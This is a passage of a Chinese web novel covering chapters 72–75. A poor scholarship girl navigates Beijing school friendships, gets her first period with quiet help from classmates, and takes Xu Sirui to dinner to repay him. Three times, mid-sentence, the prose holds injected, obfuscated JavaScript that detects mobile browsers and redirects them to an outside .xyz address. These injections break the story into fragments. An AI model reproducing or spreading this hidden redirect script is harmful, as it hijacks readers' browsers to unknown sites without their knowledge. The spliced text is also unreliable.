“哇噻,好厉害,他们以后会不会干脆直接吃这碗饭了啊?” “不知道,不过听莹颖说她老板特别喜欢许思睿,想跟他签长期合同来着。” “感觉他们三个和我们不是一个世界的。” “毕竟人家有那脸啊,天生的明星命,咱普通人就别想了。” 直到许思睿他们彻底消失了,那些闲谈的学生也消失了,祝婴宁依然呆愣在原地。 来到北京以后她就隐隐有种感觉,只是她始终刻意避免去想,不希望那想法成型,更不希望直面她心底隐约恐惧的现实。 直到现在—— 她终于不得不承认,那些学生说得没错。 许思睿和她,好像已经不是一个世界的人了。 也可能他们自始至终就没有处于同一个世界过,是综艺虚假地消除了他们之间的距离,如同一块有使用期限的橡皮擦,擦掉贫富差距,擦掉认知差距,将原本处于平行线的两个人生掰硬凑在一起。而现在,午夜十二点过去,仙女教母的魔法消失,马车打回原形,变成一颗圆滚滚的南瓜。她其实早该知道那些交心和感动全是综艺带来的短暂错觉,不是吗? 如果没有综艺加持,如果她和许思睿沿着各自既定的人生轨迹向前,他们是否还会相遇?或者说,他们相遇后,他会有兴趣认识她了解她吗? 她不敢回答这些问题。 72. 同类 祝婴宁在班上交到的第二个朋友出乎她的意料,不是别人,正是邹皓。 排名表传阅完被洪青阳张贴到了黑板旁的布告栏上,第一名是谭菁菁,第二名是学习委员,第三名是祝婴宁,邹皓排第七名。前三名毫无例外都受到了老师的表扬,洪青阳还给他们一人准备了一本本子作为鼓励。 本子这类奖品,对小学生来说也许尚存新意,但大多数高中生都已经不吃这套了,唯独祝婴宁处于“大多数高中生”的范畴之外,在其他人反应寡淡的时候,只有她激动得满脸通红,抖着双手接过本子,洋洋洒洒说了一大通感谢洪青阳的话,把洪青阳说得坐立不安,心里怪不好意思的。 班会课结束后,邹皓来到祝婴宁座位旁,问:“你是怎么学习的?” 她惊异于邹皓竟然会主动和自己搭话,自从竞选班长那天她不仅没投他,还上台跟他竞争同个班干部职位以后,邹皓便对她态度冷淡,走在路上碰到她也从来不和她打招呼。 她刚打算开口传授自己的学习经验,又听邹皓问:“你笔记本能借我看看吗?化学和历史的。” “可以啊。”祝婴宁在这方面从不藏私,闻言找出笔记本递给了他。 “谢了。”邹皓对她露出了开学以来的第一个笑,扬了扬手里的笔记本,“我看完明早还给你。” 直到他走远了,邵彦君才从鼻孔里轻蔑地呵了一声:“白痴。” 祝婴宁看向她,嘴唇动了动,试图维护同学间的和平:“他……也不算白痴吧……” “我说的是你。”邵彦君翻了她一个白眼。 “……” 邵彦君一边对着化妆镜贴假睫毛,一边以嘲笑的口吻说:“那胖子就是个势利眼,只对他觉得有用的人献殷勤,你看学神和学委愿意搭理他么?也就你蠢看不出来。” 邵彦君口中的学神指的是谭菁菁,她不仅考了全班第一,在全级也排第一名,遥遥甩开第二名二十多分。邹皓也找谭菁菁和学委借过笔记,不过都被拒绝了。 祝婴宁没说什么,只轻轻叹了口气。 ** 那天之后,邹皓便如邵彦君所言,对祝婴宁愈发热络起来。 他经常来找她借笔记,和她探讨某道题的解题方法,作为报答,也会提供许多有关学习的第一手消息给她,比如接下来某场考试的出题老师是谁,校内谁谁谁的父母是教育局高官,某位同班同学在某课外机构上竞赛班…… 祝婴宁以前没有接触过邹皓这样的人,他很精明,这种精明并非单方面索取,而是一种精打细算的利益交换。 在他眼里,人只分为三类——精英、垃圾和NPC,三者由“是否走正道”界定,而所谓的正道,自然是在他眼里代表一切的学习。学习好且有上进心的人会得他青眼,被他归类为精英,学习一般但依然中规中矩坚守正道的人则被他统一视为NPC,至于离经叛道之徒,他痛斥其为社会败类,毫不犹豫地把这种人一脚踢进垃圾的范畴,连个正眼都不给。 虽然邹皓没有明说,但祝婴宁知道,邵彦君在他眼里就是垃圾的一员,而成绩平平无奇的吴波,被他归到了数量庞大的NPC里,至于她么,她原本是NPC中比较土的一类,月考结束后破格升级为了比较土的精英。 她不喜欢邹皓的分类,也不喜欢他对待她朋友的态度。 在他对吴波态度不礼貌,被祝婴宁出面说了几次后,他们三人渐渐形成了一种微妙的相处平衡。 通常,吴波向她分享徐良出了哪首新歌时,邹皓会在旁边不冷不热评价道:“都是包装出来的网络歌手而已,杀马特文化,有没有真唱功都不一定,不如听点第四十交响曲提升一下审美。”而当邹皓问她某道数学大题,吴波也会在一旁作怪,扭着身子说:“下课了还聊什么学习啊,学学学,小心把脑子学坏了。” “脑子不会学坏,只会因为停止思考变坏。” “哦?是吗?我倒是觉得多接触点新事物脑子才不会变坏,班长,你还是多追追潮流吧,别跟个老年人一样。” “潮流千变万化,迟早会被新的潮流淘汰,经典才永垂不朽。” “呵呵,经典也是曾经的潮流。” 祝婴宁在一旁听得头大。 ** 自从国庆和冯达、郭莹颖他们一起拍摄广告以后,许思睿回家的次数变得越来越少,少到可用屈指可数形容。 让祝婴宁感到不可思议的是,许正康居然过了足足半个月才发现这件事。 那天他们吃完早饭,祝婴宁把碗筷收好叠起来,打算端去厨房洗碗槽洗干净,许正康心血来潮般,忽然问了句:“许思睿怎么不在家?上学去了?没跟你一起走?” “……” 她难以形容自己听到这话的心情,沉默了许久,才闷声答,“许叔叔,许思睿已经一周没回家住了,而且,今天是周六,不上课。” 许正康大吃一惊:“没回家?那他去哪了?” 她只好告诉他许思睿在当模特给人拍广告。 “胡闹!”许正康猛一拍桌子,从裤兜里翻出支烟,怒气冲冲地抽完,又强调般重复了一遍,“胡作非为!” 可直到最后,他也没有采取任何实质行动,把“胡作非为”的许思睿掰回正轨。 祝婴宁慢慢发现了——一旦她不在学校里刻意找寻许思睿的身影,她基本上很难邂逅他。 体育课不重合,实验课不重合,就连去食堂吃饭的时间段都不重合。吴波和邹皓都热爱抢食堂,一到中午放学时间,她就像张风筝,被吴波和邹皓扯着线溜。而许思睿懒洋洋的,喜欢等食堂第一批人吃得差不多散了,才随朋友慢慢溜达过去。 难得一次碰面还是在学校外。 那天邹皓说要买点新练习册,问祝婴宁有没有推荐,刚好吴波说她想去买本最新的《知音漫客》,他们三人便一起拐去了学校附近的小书店。 书店位于学校后巷,那条巷子除了书店,还开了不少苍蝇馆子,不想吃食堂的住校生常常会结伴来这用餐,每到傍晚放学时分,巷子都人满为患。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816760|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们在人群中挤来挤去,好不容易挤到书店门口。 刚想进去,祝婴宁就眼尖地发现书店旁的音像店门前,许思睿正坐在那里。 严格来讲,他是坐在音像店门口的一辆摩托车上。 豪爵铃木EN150机车,红黑色车身,分体式大灯,重工设计,横亘在音像店门口,像一只张牙舞爪的大黄蜂。 他单腿支着地面,垂眼把玩手里的任天堂Nintendo3DS游戏机,脸上有未卸去的粉底液痕迹,由于出了汗而与柔白细腻的肤色融为一体,浑身脂香四溢,香气既廉价又刺鼻。 周围人群喧嚣,他却好像完全听不到身周的吵闹,玩得入迷,游戏机里不断弹出马里奥蹦跳的音效,叮叮咚咚的声音本该显得活泼热闹,可他高大单薄的身影却像拓印在黄昏暮色里的一道烟,淡得一吹就散。 她默默看着他,看了不知多久,身后的邹皓顺着她的目光望过去,不屑嗤道:“还没长记性。” 她回过头,不解其意。 邹皓双手抱臂,鄙夷地用下巴指了指许思睿的方向,说:“我说他,许思睿。前几天就因为未成年开机车被警察查了,现在居然还敢开,这种人自己不要命,最好赶紧找片湖跳了,别来霍霍无辜的路人。” 她的心像被一只手暴力攫住,血流不畅,一股热气直冲脑门,分不清这股热气究竟是激怒还是别的情感。手指簌簌颤抖,她想开口怒斥邹皓,想大声反驳他,想为许思睿声辩,说他只是坐在摩托车上,怎么能凭借这个举动就武断地给他定罪,用那样刻薄的话诅咒他? 可她还没来得及开口,音像店里,郭莹颖便举着一张周杰伦的磁带走了出来,眉开眼笑:“居然真被我找着了,走吧思睿,去跟老大交差。” 她跨坐上机车后座,而玩了半天游戏机的许思睿这会儿像是终于从梦中惊醒,揉了揉脖颈,把游戏机随手塞进外套衣兜里,跨上前座,将头盔随意往头上一套,顺手扔给郭莹颖另一个头盔。 头盔遮住他的眉眼,只露出尖巧的下巴。 摩托车发动,在嗡鸣声以及周围学生仓皇的避让里,他载着郭莹颖扬长而去。 “……” 祝婴宁妄图为许思睿声辩的话就这么不上不下地悬在了嘴边。 邹皓冷笑一声,说:“果然。” 她缓缓闭上嘴,过了几秒,像是觉得不甘心,又无力地追问道:“为什么你知道他被……” “我有亲戚在警局工作,听他说的。”提起这个,邹皓似乎有些得意,“学校里发生的任何事都逃不过我的关系网。” “你之前就认识他吗?” “No,我之前不认识他,但他在学校很有名,长得帅嘛。”邹皓耸了耸肩,说,“真无聊,帅又怎么样?不走正道,一样是社会的渣滓。” 说完,他看向祝婴宁,目光从镜片后穿透过来,露出标准的八齿笑,肯定地说,“不过,你肯定没那么无聊,他这种人和我们就不是一个世界的,祝婴宁,你我前程似锦。” 73. 初潮 前程似锦本是一个好词,可邹皓说完没几天,祝婴宁就病了。 一开始只是肚子不舒服,她感到腹部坠疼,这种疼不同于胃痛或者肠痛,而是一种覆盖面更广也更为酸涩的痛。 紧接着腰也变得不舒服。 以为是坐着学习太久导致的,结果哐哐做了一顿运动,第二天起来,更酸了,整个下半身像是被谁揍了一样,腿也酸软无力。 隔日上课,她显得蔫蔫的,下课后吴波来找她,见她趴在课桌上萎靡不振,问:“怎么了,怎么这副模样,你来亲戚了?” 亲戚? 祝婴宁楞道:“没有啊。”她的亲戚都在山里,没要紧事不会来北京。 “没有就好,你有需要可以找我。” 吴波刚说完,上课铃就响了,她挥了挥手回到自己座位。 这节课是英语课,下课前几分钟,英语老师临时安排了听写,让科代表下课后将听写簿收上来。英语科代表就坐在祝婴宁前面,她忙着补昨晚做漏了的作业,焦头烂额,托祝婴宁帮她把收上来的听写簿交到英语老师办公室。 尽管身体很不舒服,祝婴宁还是习惯性应了声“好”。她数了一下听写簿的数量,核实无误后,将那叠本子抱在怀里,起身朝楼上的英语组办公室走去。 邵彦君睡了一整节英语课,被她起身时椅子与地面摩擦的声音吵醒,才直起腰,伸长胳膊,一边打哈欠一边伸了个巨大的懒腰,伸完整个人顺势瘫倒在椅子靠背上。 戴以泽正在看盗墓小说,看得津津有味屏息凝神,她这么一靠,满头长卷发都铺到了他的小说上,恰好挡住了关键剧情,他嫌弃地咂了咂嘴,把头发拿起来,重重甩开。 “找死?”邵彦君立刻转头飞给他一个眼刀。 就是这么一转头,她留意到了祝婴宁的椅子,怔了几秒,“啊哦”了一声。 戴以泽看过去,也“啊哦”了一声。 “咋办?”他下意识脱口而出。 邵彦君满不在乎道:“你追出去告诉她呗。” “我闲得蛋疼啊?”戴以泽无语地立起小说,“谁爱去谁去,反正不关我事。” ** 抱着听写簿爬到楼上时,祝婴宁总觉得裤子黏黏的,很想伸手拽一拽,把它拽出来一点。 但走廊上人来人往,她不可能如此不顾及形象,只能默默忍受,打算将听写簿送到英语老师办公室后再去卫生间处理一下。 前往办公室需要途径许思睿所在的班级,她身体不舒服,也就没顾上去关心他在不在,有没有来读书,只一味埋头朝前走,想快点交差了事。 冯达和许思睿正靠在走廊护栏上聊天,十一月初的北京,凉风习习,秋意飒爽,风从四面八方灌来,吹起他们的头发和衣角。 冯达看到祝婴宁从他们面前经过,目不斜视且步履匆忙,完全没有发现他们。他不动声色地转眸,瞄向许思睿,唇角弯起,故意和她打招呼:“婴宁?” 她没听见。 反而是许思睿闻声抬起了头,不悦地扫向他,虽然没说话,但表情明白无误写着“你无不无聊”。 冯达哈哈笑了两声,正想再叫祝婴宁几次,叫到她听见为止,就发现了异常。他高高挑起俊秀的眉毛,用胳膊肘轻碰许思睿的手臂,下巴示意了祝婴宁的方向:“你看。” 许思睿没看,他懒得搭理冯达偶尔不怀好意的调侃。 但冯达坚持道:“还是看一下吧。” 他便不耐烦地扭头,视线胡乱往她离去的背影上一扫。 扫到一半,定住。 操…… 怎么笨成这样。 许思睿低骂了一声,抬腿朝她走去。 ** 祝婴宁走到英语组办公室里,把本子放到英语老师桌子上。 老师不在,她放完就打算走了,还没回头,却听到别班的英语老师高声朝她身后说:“思睿,来得正好,我正打算去找你,上周布置的英语试卷你怎么又没交?” 她微微愣神,回过头,果然看到许思睿站在她身后,距她仅有两步之遥,目光却并没有落在她身上,也没有落在英语老师身上,反而跟得了多动症似的左看右看上看下看。 这地点不好打招呼,再加上他们班的英语老师看起来想找他兴师问罪,她知趣地一缩肩膀,朝旁边让开了,转身走出办公室,打算先回自己班级所在的楼层。 结果,她一动,许思睿也随她动了起来,跟在她身后朝外走。 英语老师被他弄得满脸懵逼:“喂,许思睿,我跟你说话呢!你眼里还有没有老师了?” 显然没有。 许思睿依然头也不回。 英语老师气得差点没撅过去,旁边其他班级的英语老师赶忙安慰她:“黄老师,别气,别气!” 祝婴宁也听到了里头老师的声音,纳闷地一回头,发现他紧跟在她身后,完全没在办公室停留,仿佛刚才刻意走进去就只是为了气英语老师一顿,仿佛办公室是菜市场,闲得无聊了谁都能随意走进去逛一圈。 “你……”她还是没忍住提醒了一句,老师在叫你。” 他没理。 “……” 她实在是懒得管他了,抿了抿唇角,回身继续朝前走。 然而,也不知道是不是她的错觉,她往左,许思睿就往左,她往右,他就往右,不管她走多快,走哪个方向,他始终保持着落后她两步的距离,牢牢跟在她身后。 走到楼梯间那,祝婴宁终于忍不住了,问:“你为什么老跟着我?” “谁跟着你了?”他淡声道,“我刚好也要走这,不行?” “……” 好无聊的对话,她肚子酸得要死,决定不再浪费脑细胞和体力在这种无聊的口舌之争上。 楼梯间的人比较少,他们无聊的交谈结束,人恰好都走空了,祝婴宁想继续向下,脚刚抬起来,背后忽然传来窸窸窣窣的声响。 接着—— 在她反应过来之前,他的手毫无预兆地从她背后伸了出来,虚虚圈在她小腹上,带起一阵凉风。 她什么都没来得及思考,就被他手臂的力道压得撞上了他的胸膛,隔着几层布料,少年胸膛清瘦且坚硬的触感清晰地传递给她,像一块冰凉的,被山泉洗刷的泉石。 随后腰腹一紧,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15820217|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勒,她惊讶地垂下视线,看到他把秋季长袖校服脱了下来,系到了她腰上。 ……这是在干什么? 可没等她开口询问,许思睿已经闲闲地松开手臂,转身,头也不回往楼上他班级的方向去了,她扭过头后,只看到他挺拔的背影,身上剩一件短t,被风一吹,衣摆飞扬。 上课铃声适时响起,她茫然地捏了捏腰间的衣服,茫然地往自己教室去了。 回到自己的座位旁,邵彦君掀起眼皮,来回打量着她腰间的校服,几秒后,脸上攒出一个暧昧的笑:“哪个男的给你的?” 实在是这校服的尺码怎么看都不像女款。 祝婴宁挠挠脸:“其实我也很纳闷是怎么回事儿。” 说完便要坐下,只是屁股还没挨到椅面,她就发现自己座位上铺了一张纸,堪堪盖住整个椅面。 四四方方的印花纸巾,夹带浓郁的花香,一看就是邵彦君的风格。 她揭开那张纸,想问邵彦君为什么把纸丢在她椅子上,下一秒,便看到了纸张掩蔽之下——椅面上的血迹。 那一瞬间,电光火石,她忽然间什么都明白了。 ** 这是她的初潮。 山里女孩营养跟不上,月经多半来得晚,而她算是其中格外晚的,虽见其他女同学经历过,但她们不管它叫“亲戚”,而管它叫“那个”。 “你那个来了吗?” “我昨天来那个了。” “你有带那个吗?能借我一片吗?” 所有与月经相关的名词,都用“那个”来隐晦地取代。在这一点上,城里的“亲戚”和山里的“那个”异曲同工,都是女孩们为了弱化此事带来的羞窘刻意为之,是青春期女孩不约而同参与及共享的秘密,是半脚踏入成人世界的象征,意味着一扇门的开启,一扇门的关闭。 而她的初潮来势汹汹,将这秘密撕开一个缺口,迫其裸露在外。 此时言语的遮盖失去了力道,他们选择用更温柔的方式,托起了她的潮起潮落。 “你有需要可以找我”,两步之遥的距离,系在腰上的校服,铺在椅面上的方形纸巾。上课铃响的挥手,转身上楼的背影,被风拂动的衣摆,还有此刻—— 邵彦君趴在课桌上背对她睡觉的姿势。 她攥紧了手里的纸巾,声音从齿间流出:“谢谢……” 邵彦君没回头,啧了一声:“别烦我。” 她便轻声笑了起来。 明明什么都没改变,老师依然在课堂上讲着大多数同学不感兴趣的知识,窗外的阳光没有因此变得更明媚,也没有更黯淡,一切如常,这是北京的十一月里最寻常无趣的一天。 可是,她忽然觉得她可以大声否认心底那番关于同类的纠结了。 哪有什么同类不同类? 哪有什么“不是同个世界的人”? 人怎么能被简单地分类?他们就是生活在同一世界的人啊。 呼吸着同一片世界的空气,吵着一样的架,共享着一样的温柔,会为同样的悲伤而悲伤,为同样的欣喜而欣喜。 他们是如此的不同,却又如此相似。 74. 偿还 “这是日用,这是夜用,这是加长版夜用,这是安睡裤……”祝知微拾起货架上琳琅满目的卫生巾,逐一给祝婴宁做着介绍,细致入微,“卫生巾用在私密处,这钱不能省,该买好点的,别买杂牌。” 她听得认真,了解完长度,又开始选品牌,挑了大牌子里比较实惠的那一款,和祝知微一起走去前台结账。 “谢谢你陪我来,微微姐。”结完账,她把袋子拎在手里,回身道谢。 放学后她通常会来祝知微的店铺工作一两小时,再回家里吃饭学习,今日也是如此。只是今日在店里忙活时,祝知微心细地察觉出她身体不便,问她是不是生理期。她没想到这么明显,抬起袖子闻了闻,担心自己身上沾了血腥味还不自知。 “味道是没有。”祝知微笑着宽慰她,“但女人嘛,捂着肚子弯着腰,十有八九就是来月经了。” 祝知微暂时搁置工作,带她去百货大楼的超市选购卫生巾。 结完账正要往回走,祝知微落后她几步,伸出手指,拨了拨她腰后的校服,问:“许思睿的?” 祝婴宁回过头便看到她因微笑而弯柔的眉眼。 不知道为什么,邵彦君问她时,她没感到羞耻,但被祝知微这样轻描淡写地点出,被她含笑的眼睛沉静地注视,她忽觉身体由脚底板至上直直冲出股热气,整个人像一座通了的活火山,血液如岩浆滚烫。她张开嘴,嘴唇打了个磕巴:“对……” 好在祝知微没说出更令她脸热的话,她转而告诉她用什么方法可以洗去衣物上的血迹。 回到家里,祝婴宁换下身上的衣服。 滚筒洗衣机卷食她的校服裤,也卷食了许思睿的校服,他们的衣服缠绕在一起,在泡沫的洋流里沉浮。 她蹲在它面前,看这个小小的机器扭转乾坤。 ** 期中考安排在万圣节后,考试结束,祝婴宁向吴波打听这附近有什么适合学生去的餐厅。 “有家西式简餐最近挺火的。”吴波一边说一边把餐厅绕口的英文名写在纸上。 祝婴宁仔细收好字条:“谢谢。” “你要和谁去吃饭吗?”吴波发挥八卦之心。 她大大方方地露齿一笑:“对,请个朋友。” ** 工作室最近接了个新单,运动饮料的广告,需要找一对校园男女拍摄。 女生已经确定了,是郭莹颖,蒋锐锋私心想将男生的角色交给许思睿,但也怪他自己酒品不好,前几天和冯达去喝酒,一时喝高了,嘴上没个把门,被冯达哄得开心,搂着冯达的肩膀称兄道弟,直言要把他定为男主角,一觉醒来才恍然记起自己办了什么蠢事。 出尔反尔把冯达撤了吧,影响感情。不撤吧,又不符合他的预期。蒋锐锋头疼了几分钟,当即拍板决定:“拍摄那天你俩都来得了,看看谁的上镜效果更好。” 他说完这话,冯达虽仍在笑,可难免有些挂脸,蒋锐锋佯装没看见,用余光去找许思睿,最后发现许思睿依然窝在角落那张破沙发上玩他那破游戏机,也不知道究竟有没有听到他刚刚那番发言。 蒋锐锋走过去,强调般重复了一遍。 许思睿终于懒懒抬起眼:“哪天?” “11月5日。” 他打了个哈欠,又把视线移下去了:“你找冯达吧,我那天有事。” “你放屁呢,你那天有事?你有个鸡毛的事?”蒋锐锋一听就火了。 许思睿的脸确实无可挑剔,上镜三百六十度无死角,时尚表现力也强,随便往那一杵就有股说不出来的气质,其他人站得歪歪扭扭会被路人怀疑是脊柱侧弯,而许思睿站得歪歪扭扭,就让人情不自禁想评一句松弛感。 可问题是,他随心所欲得很,完全没把模特的工作当一回事,既不缺钱也不想出名,来这好像纯粹就是为了消磨时间。蒋锐锋绞尽脑汁想留住他,但许思睿一直不甚在意,三天打鱼两天晒网。这在蒋锐锋看来完全就是老天抢着喂饭吃,结果当事人楞是要往饭碗里撒尿。 他追问道:“你到底有什么事?” “没什么事,和人吃顿饭。”许思睿躺在沙发上,把腿翘在扶手上,一面玩一面答。 蒋锐锋大怒道:“谁吃顿饭要吃一天?!吃顿饭和你拍摄有什么关系?周六你必须来!” “不了,我很累。” “你到底哪里累?”蒋锐锋匪夷所思,“你今年16岁不是61岁,能不能有点青少年的朝气蓬勃?” “不能。” “……” “应付和我吃饭那人很累。”他又火上浇油地补充。 最后蒋锐锋在原地暴跳如雷了半小时,还是不得不迁就许思睿,把拍摄时间延到了周日。 冯达一听这个结果,笑容又淡了几分。到了这个地步,他要还看不出蒋锐锋内心已经定了许思睿,那他真是白活了。可他能说什么?他抿起唇,顿了顿,重新挂起完美的笑,在蒋锐锋意思意思般问他“那就改成周日吧,冯达,你可以吗”的时候点头答:“当然,我无所谓。” 等蒋锐锋转身去联系其他工作人员安排周日拍摄事宜后,冯达行至许思睿躺着的沙发旁,虚虚靠坐在没被他荼毒的另一侧扶手上,问:“思睿,你约了谁?” 许思睿的眼神依然黏在游戏机屏幕上,含糊道:“人。” “祝婴宁?” 他按在按键上的手指一顿。 冯达知道自己猜对了,笑了笑,站起身道:“替我和她问声好吧。” ** 准确来讲,祝婴宁是期中考之前特意来约他的,看到她选在这么一个特殊节点朝他班级走来,许思睿下意识以为她又要和上次月考一样恩将仇报,结果她竟没有絮絮叨叨逼他参加考试,反而问他考完试的周六有没有空。 “你要做什么?约我?” 他故意这么问,本意是为揶揄,她却点头道:“对,我想约你吃顿晚饭,单独的你和我,没有别人。” 坦诚到让他失语了半天,最后盯着她的眼睛,慢吞吞说:“哦……行啊。” ** 时间很快来到周六,上午许思睿跑去张霖家找他玩。 张霖成绩不好,上的是职高,他父母已经深刻认识到了自己儿子不是读书的料,完全放弃了在学习上栽培他,对他的要求就是把职高混完,拿个文凭,毕业后直接出来做生意。也因此,他父母不管他玩电脑的事,甚至还给他零用钱,任由他自己捣鼓了个电竞房。 许思睿不知道往哪里去的时候就会在自己这些朋友家颠沛流离,张霖自然也是其中之一。 他在张霖家待到了下午,越是到傍晚,越有些走神玩不下游戏。 看一看手机,离约定好的时间还有一个小时,从张霖这过去只需要半个钟。 许思睿不想现在就过去,不想早到哪怕一分钟,不想显得自己有多重视这顿晚饭似的。 不就吃顿饭吗? 为了营造出一种漫不经心的感觉,他硬是在张霖家磨蹭到只剩半小时,才施施然出门了。 然后意料之外情理之中地堵在了路上。 ** 周末傍晚,餐厅人满为患,还好祝婴宁听从吴波的建议预订了座位。 她坐在二楼,身侧就是落地窗,朝下看可以看到楼下正门。 已经过了约好的时间点,她等得都有些犯困了,许思睿也还是没出现。 他到底还来不来?该不会忘记了? 祝婴宁一边思索着,一边用勺子挖起服务生送来的免费冰淇淋,一小口一小口往嘴里送。 冰淇淋很甜很好吃。 她抬手招来服务生,先点了些小吃,觉得许思睿可能是晚高峰堵在路上了,她不好代他点正餐,干脆点些小吃,等他来了可以填填肚子。 点完没过多久,朝下一看,只见一楼的道路上,许思睿正狂奔而来。 他跑得很狼狈,身上外套拉链没拉,被风吹得朝两边散开,像超级英雄的披风,麻雀的翅膀,若虫的外骨骼残壳。狼狈且迅疾地跑到餐厅门口,就在祝婴宁以为他会以这个速度冲进餐厅,冲到她面前时,他却猛然来了一个急刹,停在一楼的落地窗外,对着窗户开始搔首弄姿——拨弄自己的头发,顺带整理衣服。 随后他双手插兜,漫不经心地走了进来。 天晓得她用了多大的力气在憋笑,尤其是两分钟后,许思睿漫不经心地晃上二楼,明明累得胸膛都还在剧烈起伏,却硬要装出一脸淡定的样子。 他看到了她,加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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虽然觉得这是最符合她作风的答案,但是到底什么样的学习资料能塞进信封里?难道她把排名表打印出来塞进里面了,决定用排名羞辱他,对他采用激将法? “钱。”她纠正道。 “钱?”他深感困惑,无意识地脱口而出,手指伸向信封,将要碰到时,忽而反应过来,指尖一缩,脸上神色莫辨,“羽绒服?三百块?” 她点头又摇头:“严格来讲不是三百块,因为还有利息。” “……” 许思睿闭上眼睛,深吸一口气。他觉得自己一开口就要呕血。更让他无语的是她接下来的话,她说:“还有你家人为我弟弟买球鞋的钱,你手表的钱,以及许叔叔资助我的钱,这些钱我都会慢慢还清的。虽然没法现在就还清,但以后我一定会连本带利……” 许思睿完全无法理解,打断她的话:“为什么?” 他知道她在打工,也知道她打工赚来的钱既要供她爸爸用药,又要供她全家吃穿。在这种情况下,她居然还想着赶紧还清那件微不足道的羽绒服的钱。为什么? 祝婴宁被他问得愣了愣:“欠债还钱,天经地义啊。” 他冷笑一声,重新靠上椅背,说:“我头一回见到刚被资助上就想着还资助金的,在我们这,还这么快一般都是急着和别人撇清界限,你看我和我们家很不爽?” 她大吃一惊:“不是啊!你怎么会这样想?我怎么可能是这个意思?” “那你是什么意思?”他以一种故意找茬的语调嗤道。 话题进行到这,其实已经有点吵架的意味了,只要你来我往一个回合,各自说话都大声点,语气冲点,即便一开始没有吵架的意愿,到最后也会顺理成章演变为吵架。 很多吵架不就都是这样开始的么? 许思睿双手抱臂,做好了应对她火气的准备。 事实上,祝婴宁根本没有生气,她只是吃惊而已,吃惊过后,便是条分缕析,她用平静温和的声音说:“我想还钱给你,是因为我珍视我们之间的关系,因为我珍视你。我希望我们只是纯粹的朋友,而不掺杂什么资助人被资助人的名头。我希望你想起我就只是想起我本人,而不是什么家里很穷啊没法上学啊……这类很惨的东西。” 她说完,对面的许思睿像是定住了。 他依然维持双手抱臂的姿势,脸上原本准备用以应对她火气的讥诮渐渐消融,转为更加晦暗难辨的面无表情。他就那样沉默地看了她,看了很久,才倾身上前,低声道:“祝婴宁,你对所有人都是这样讲话吗?” 75. 嚼舌根 她听完他的问题,像是吃了一惊,埋头沉思起来。 许思睿见她竟然还需要思考才能回答这个问题,心头的火蹭蹭直冒,就在他打算讥讽她“你是想列一份名单出来?”的时候,她终于动了,轻缓地吐出两个字:“不是。” 虽然只有两个字,可他还是像被顺毛捋平了一样,火气弱了些许。 紧接着她又抬起头,直视他的眼睛,真诚地说:“你对我来说比其他人更重要,你是特别的。” “……” 他脸颊微燥,像被沸水兜头泼了一样,立刻大声反问,“你肉不肉麻?恶不恶心?” “哪里肉麻哪里恶心了?”祝婴宁惊道,“我只是把我心里想的说出来而已。”顿了顿,她反过来点评道,“是你太别扭了,许思睿。” 她把她的心摊开来,如同用手术刀解剖出精美的纹理,心脏里鼓动着鲜红的血,她从来无惧被反驳,也无惧被伤害。 他知道她有这种把所有肉麻的真心话都说得坦坦荡荡的能力,但依然无法泰然应对这种场景,闷头干坐了几分钟,硬是憋不出一句从容的回话,脸上热度更是被她看得直增不减,干脆站起来,掩饰道:“我去洗手间洗个手。” “哦,好,你去吧。”她目送他离开。 过不多久,服务生先过来上了小吃。祝婴宁把信封移开收好,免得被油污溅到。等许思睿回来了,她起身道:“我也去洗个手,你可以先吃。” “没事,我等你。” 他应完,下意识想摸出手机或者游戏机出来消磨下时间,手往裤兜里摸了个空,才想起自己出门前特意将电子产品都留在了张霖家,因为不想自己吃饭中途还游戏瘾发作,掏出支手机玩个不停,显得对她很不礼貌。 一会儿希望自己看上去不够重视,一会儿又希望自己看上去够礼貌,许思睿自己都觉得自己像个傻缺。他叹了口气,手指点着桌面数着节拍,百无聊赖地托腮望着窗外的夜景。 女卫生间在一楼,根据服务生的指引,祝婴宁很快找到了位置,洗完手正打算朝楼上走,就听到旁边的桌子传来一道既熟悉又不那么熟悉的嗓音。她脚步停了停,回头一看,才发现是冯达。 冯达与十几个一看就是同校学生的人围坐在高桌旁,身边还坐着郭莹颖。郭莹颖似乎有些生气,黑着脸,嘴唇抿成一道硬邦邦的直线。 祝婴宁本来想上前打个招呼,但看到郭莹颖的表情,又觉得他们现在也许不太方便,抬腿想继续向上走,下一秒就听到有人说:“他平时那么装,真看不出他家居然……” “是啊,要不是我有亲戚在法院工作,看到了他家那个案子的判决书,连我和莹颖都被他蒙在鼓里呢。”冯达用勺子搅拌着杯里的饮料,说,“他爸爸肯定把剩下来的钱都花在公关上了,现在网络上根本查不到他家那件事的报道。听说他们家在综艺录制尾声就出事了,所以那个综艺和第一季比起来才少了几期,估计综艺的出品方也被他爸花钱买通了吧,一点消息都没泄露。”他轻叹着说,“爸妈人品都这样,教出来的小孩肯定也……” 综艺? 祝婴宁很快捕捉到了他们话语中的关键词,她直觉这些人在谈论许思睿,而且从冯达的表述来看,绝对不是什么好话。她的心脏像被巨石绑着,飞快往下沉。 “够了。”郭莹颖猛然抬起头,出声打断冯达的话,“别再说了。” 